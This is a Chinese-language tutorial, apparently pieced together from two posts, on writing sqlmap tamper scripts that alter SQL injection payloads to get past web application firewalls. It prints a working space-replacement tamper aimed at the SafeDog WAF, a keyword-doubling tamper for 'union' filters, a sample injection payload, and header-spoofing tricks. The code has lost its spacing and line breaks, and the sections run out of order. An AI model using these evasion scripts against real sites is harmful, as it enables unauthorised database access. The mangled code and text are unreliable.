其实我们编写别的插件需要构造别的插件需要替换的是这串代码。
retVal += "+"我们大致了解了插件的编写这里我们来编写我们的过狗插件。
#!/usr/bin/env pythonfromlib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):"""Replaces space character (' ') with plus ('/*|%20--%20|*/')>>>tamper('SELECT id FROM users')'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users' By sebao"""retVal = payloadif payload:retVal = ""quote, doublequote, firstspace = False, False, Falsefori in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "/*|%20--%20|*/"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "/*|%20--%20|*/"continueretVal += payload[i]returnretVal大家可以看到这串注释Replaces space character (' ') with plus ('/*|%20--%20|*/')换空格为(/*|%20--%20|*/)绕过过滤规则。
【这是以前的过狗办法】到这里就差不多了。
sqlmap-tamper编写指南字数807阅读20评论0喜欢0注:最近遇到了一些奇怪的waf,想自己写一些tamper但是发现没有参考材料可以使用,因此在写了这篇文章,一方便进行自定义的tamper编写。
笔者笔力有限,如有错误,敬请读者们指正。
0x00 sqlmap tamper简介sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
0x01 一个最小的例子0x02 详细介绍第一部分完成了一个最简单的tamper架构,下面我们进行一个更详细的介绍tamper函数tamper是整个脚本的主体。
主要用于修改原本的payload。
举个简单的例子,如果服务器上有这么几行代码$id = trim($POST($id),'union');$sql="SELECT * FROM users WHERE id='$id'";而我们的payload为-8363' unionselect null-- -这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamperdef tamper(payload, **kwargs):return payload.replace('union','uniounionn')保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test 的参数,就可以绕过该过滤规则dependencies函数dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:# sqlmap/tamper/echarunicodeencode.pyfrom mon import singleTimeWarnMessagedef dependencies():singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP. NET web applications" % os.path.basename(__file__).split(".")[0])# singleTimeWarnMessage() 于在控制台中打印出警告信息kwargs在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明# sqlmap/tamper/vanrish.pydef tamper(payload, **kwargs):headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf0x3 结语tamper的编写远不止这些,本文只就其最基本的结构进行探讨。